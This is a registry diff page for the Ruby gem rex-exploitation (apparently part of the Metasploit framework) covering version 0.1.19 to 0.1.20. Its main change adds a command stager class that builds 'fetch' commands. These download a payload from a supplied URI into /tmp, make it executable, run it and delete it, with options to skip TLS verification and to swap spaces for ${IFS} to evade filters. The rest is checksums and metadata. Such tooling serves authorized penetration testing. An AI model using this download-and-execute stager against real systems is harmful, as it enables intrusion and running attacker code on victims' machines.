rex-exploitation 0.1.19 → 0.1.20

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 430d6b48945fae1895854f635edfb566ef2f001f
4
- data.tar.gz: 6abf2b49f2cbdd8b56823ff62368e30700d5217d
3
+ metadata.gz: 0aaa3da8a46b9a3ca7b6e761115b5ff46d877e78
4
+ data.tar.gz: 8b71ba84e43d183fba7d8689b01c96c568166859
5
5
  SHA512:
6
- metadata.gz: bd3e788376e6278f369fc2ef46e52bc0f1729efa22cd671a0a376abc82f10df6189ad9580490c38029df035ba6f1f55e5d975293fd2cbe23837d439beeb20df8
7
- data.tar.gz: a87ed63347bbd50fae78c82e4673d3835fe1d5862dae7e51f74adc3ba22b8ae9209e32ddd110725b01daab53fddc52927c97995c4dc253f2aa37e2099fd6ecd9
6
+ metadata.gz: 6a8d5911aad13135cb332e9296717e4db57edaac632f62ad01adfd9a9763c3e9601913efad0834c090eb5c0762cea2592e801b6474b35019204f946b10bd082f
7
+ data.tar.gz: a11621afbf26ca6850ac7efe9be95e4ed6db8d668f35c869b96bd658c64e78433e8026564f3707b5af50e71e06b94eaab55299c5c2cce18b8a248899e5eaadc8
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -11,3 +11,4 @@ require 'rex/exploitation/cmdstager/echo'
11
11
  require 'rex/exploitation/cmdstager/printf'
12
12
  require 'rex/exploitation/cmdstager/wget'
13
13
  require 'rex/exploitation/cmdstager/curl'
14
+ require 'rex/exploitation/cmdstager/fetch'
@@ -0,0 +1,57 @@
1
+ # -*- coding: binary -*-
2
+
3
+ class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
4
+
5
+ def http?
6
+ true
7
+ end
8
+
9
+ def user_agent
10
+ /^fetch/
11
+ end
12
+
13
+ def generate(opts = {})
14
+ if opts[:payload_uri].nil?
15
+ raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
16
+ end
17
+
18
+ opts[:temp] ||= '/tmp'
19
+ opts[:file] ||= Rex::Text.rand_text_alpha(8)
20
+ @payload_path = "#{opts[:temp]}/#{opts[:file]}"
21
+
22
+ super
23
+ end
24
+
25
+ def generate_cmds_payload(opts)
26
+ cmds = []
27
+ nvp = '--no-verify-peer'
28
+
29
+ if opts[:ssl]
30
+ cmds << "fetch -qo #{@payload_path} #{nvp} #{opts[:payload_uri]}"
31
+ else
32
+ cmds << "fetch -qo #{@payload_path} #{opts[:payload_uri]}"
33
+ end
34
+
35
+ cmds
36
+ end
37
+
38
+ def generate_cmds_decoder(opts)
39
+ cmds = []
40
+
41
+ cmds << "chmod +x #{@payload_path}"
42
+ cmds << @payload_path
43
+ cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
44
+
45
+ cmds
46
+ end
47
+
48
+ def compress_commands(cmds, opts)
49
+ cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
50
+ super
51
+ end
52
+
53
+ def cmd_concat_operator
54
+ ';'
55
+ end
56
+
57
+ end
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.19"
3
+ VERSION = "0.1.20"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.19
4
+ version: 0.1.20
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2018-04-11 00:00:00.000000000 Z
91
+ date: 2018-12-21 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
@@ -257,6 +257,7 @@ files:
257
257
  - lib/rex/exploitation/cmdstager/debug_asm.rb
258
258
  - lib/rex/exploitation/cmdstager/debug_write.rb
259
259
  - lib/rex/exploitation/cmdstager/echo.rb
260
+ - lib/rex/exploitation/cmdstager/fetch.rb
260
261
  - lib/rex/exploitation/cmdstager/printf.rb
261
262
  - lib/rex/exploitation/cmdstager/tftp.rb
262
263
  - lib/rex/exploitation/cmdstager/vbs.rb
metadata.gz.sig CHANGED
Binary file